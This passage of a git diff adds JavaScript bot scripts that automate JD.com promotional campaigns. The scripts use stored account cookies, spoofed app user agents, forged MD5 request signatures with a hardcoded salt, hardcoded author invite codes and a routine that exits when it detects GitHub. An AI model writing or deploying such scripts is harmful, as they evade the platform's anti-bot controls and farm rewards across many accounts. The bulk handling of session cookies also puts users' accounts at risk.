e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_global.js b/activity/jd_global.js new file mode 100644 index 0000000..4839a0b --- /dev/null +++ b/activity/jd_global.js @@ -0,0 +1,494 @@ +/* +环球挑战赛 +活动时间:2021-03-08 至 2021-03-31 +多个账号会相互互助 +活动地址:https://gmart.jd.com/?appId=54935130mart.jd.com/?appId=54935130 +活动入口:京东app搜索京东国际-环球挑战赛 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#环球挑战赛 +0 9,12,20,21 8-31 3 * jd_global.js, tag=环球挑战赛, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 9,12,20,21 8-31 3 *" script-path=jd_global.js,tag=环球挑战赛 + +===============Surge================= +环球挑战赛 = type=cron,cronexp="0 9,12,20,21 8-31 3 *",wake-system=1,timeout=3600,script-path=jd_global.js + +============小火箭========= +环球挑战赛 = type=cron,script-path=jd_global.js, cronexpr="0 9,12,20,21 8-31 3 *", timeout=3600, enable=true + */ +const $ = new Env('环球挑战赛'); +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; +const inviteCodes = [ + 'WmpHM2pndWh3OFphS2NsbTRLMmhqZz09@M3ozUGw0eExUZ25hSHBTZ2pJcTdpZz09@S2tETnZ0REtONy9Dc2Nqek1KNXpmWHFTNnF3OUtQQjJKZmJ2YUtSS3BQTT0=@a1RrenU1WExQaXRWS3VIZHgwMjlUYzJSeHhVMDlvZXgxR2RsdkZkRXZnOD0=@bHNsOVFIL2tQRTJhSndpRVNHVTlheXJLbzZRK09HaUtidjJUUFNQRXdqbz0=@M0JxTFVEbmxtV05uQWJVQVdyL2NxeTcycG1lcWtEbzVOc283bjR2MklkWT0=', + 'a1RrenU1WExQaXRWS3VIZHgwMjlUYzJSeHhVMDlvZXgxR2RsdkZkRXZnOD0=@bHNsOVFIL2tQRTJhSndpRVNHVTlheXJLbzZRK09HaUtidjJUUFNQRXdqbz0=@WmpHM2pndWh3OFphS2NsbTRLMmhqZz09@M3ozUGw0eExUZ25hSHBTZ2pJcTdpZz09@S2tETnZ0REtONy9Dc2Nqek1KNXpmWHFTNnF3OUtQQjJKZmJ2YUtSS3BQTT0=', +]; +$.invites = []; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdGlobal() + } + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdGlobal() { + try { + $.earn = 0 + $.score = 0 + $.beans = 0 + await getHome() + await getTask() + await getHome(true) + await helpFriends() + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + $.canHelp = true + for (let code of $.newShareCodes) { + console.log(`去助力好友${code}`) + if (!code) continue + await helpFriend(code) + if(!$.canHelp) break + await $.wait(1000) + } +} + + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得${$.earn}里程,${$.beans}京豆,共计${$.score}里程` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +async function getHome(info = false) { + return new Promise(resolve => { + $.get(taskUrl("mainInfo", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {activityCalendar, activityStations} = data.result.data + if (info) { + $.earn = parseInt(data.result.data.mileageAmount) - $.score + let station = activityStations.filter(vo => vo.unlock === true) + for (let vo of station) { + let ids = [] + for (let bo of vo.rewards) { + if (bo['unlock'] && !bo['received']) { + if (/^[0-9]+.?[0-9]*$/.test(bo['couponPrice'])) { + $.beans += parseInt(bo['couponPrice']) + } + console.log(`去领取 ${/^[0-9]+.?[0-9]*$/.test(bo['couponPrice']) ? bo['couponPrice'] + '京豆' : bo['couponPrice']} 奖励`) + ids.push(bo['id']) + } + } + if (ids.length) { + await receiveReward({"stationId": vo['id'], "rewardIds": ids, "activityCode": actCode}) + await $.wait(1000) + } + } + } else { + console.log(`当前活动:第${activityCalendar.currDays}/${activityCalendar.totalDays}天`) + } + $.score = parseInt(data.result.data.mileageAmount) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getTask() { + return new Promise(resolve => { + $.get(taskUrl("myTask", {"activityCode": actCode}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + const {timeLimitTask, commonTask} = data.result.data + let task = [...timeLimitTask, ...commonTask] + for (let vo of task) { + if (vo['taskName'] === '每日邀请好友') { + // console.log(`您的好友助力码为 ${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]}\n`); + $.invites.push(vo['jingCommand']['keyOpenapp'].match(/masterPin":"(.*)","/)[1]); + } + if (['70', '50', '30', '40'].includes(vo['taskType'])) { + if (vo['executedTimes'] === vo['totalTimes']) { + console.log(`${vo['taskName']}任务已完成`) + } else { + console.log(`去做${vo['taskName']}任务`) + for (let i = vo['executedTimes']; i < vo['totalTimes']; ++i) { + await doTask({ + "taskId": vo['taskId'], + "itemId": vo['itemId'], + "viewSeconds": vo['viewSeconds'], + "activityCode": actCode, + "doType":`"${vo['taskType']}"`, + "client":"m", + "clientVersion":"-1", + "uuid":"-1", + "openudid":"-1" + }) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doTask(body) { + return new Promise(resolve => { + $.get(taskUrl("taskRun", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriend(inviterPin) { + return new Promise(resolve => { + $.get(taskUrl("inviteHelp", { + "inviterPin": inviterPin, + "taskId": "51", + "pageType": "doHelp", + "headImg": "", + "username": "", + "activityCode": actCode + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + if(data['result']['message']==='您今天的助力次数已达上限,明天再试试吧~') $.canHelp = false + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function receiveReward(body) { + return new Promise(resolve => { + $.get(taskUrl("receiveRewardVisa", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0') { + console.log(data['result']['message']) + + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `http://jd.turinglabs.net/api/v2/jd/jdglobal/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDGLOBAL_SHARECODES) { + if (process.env.JDGLOBAL_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDGLOBAL_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDGLOBAL_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}PK助力码\n`); + resolve() + }) +} + +function taskUrl(function_id, body = {}) { + function getSign(data) { + let t = +new Date() + + return {sealsTs: t, seals: $.md5(`${data.taskId}${data.inviterPin?data.inviterPin:''}${t}Ea6YXT`)} + } + if(body['taskId']) { + body = {...body, ...getSign(body)} + } + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=global_mart&time=${new Date().getTime()}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_global_mh.js b/activity/jd_global_mh.js new file mode 100644 index 0000000..fd97cdb --- /dev/null +++ b/activity/jd_global_mh.js @@ -0,0 +1,421 @@ +/* +京东国际盲盒 +活动时间:2021-02-23至2021-03-31 +暂不加入品牌会员 +地址 https://gmart.jd.com/?appId=27260146 +活动入口:京东app首页浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东国际盲盒 +0 9,12,20,21 * * * jd_global_mh.js, tag=京东国际盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 9,12,20,21 * * *" script-path=jd_global_mh.js,tag=京东国际盲盒 + +===============Surge================= +京东国际盲盒 = type=cron,cronexp="0 9,12,20,21 * * *",wake-system=1,timeout=3600,script-path=jd_global_mh.js + +============小火箭========= +京东国际盲盒 = type=cron,script-path=jd_global_mh.js, cronexpr="0 9,12,20,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东国际盲盒'); +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie + +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'lucky-box-001'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + 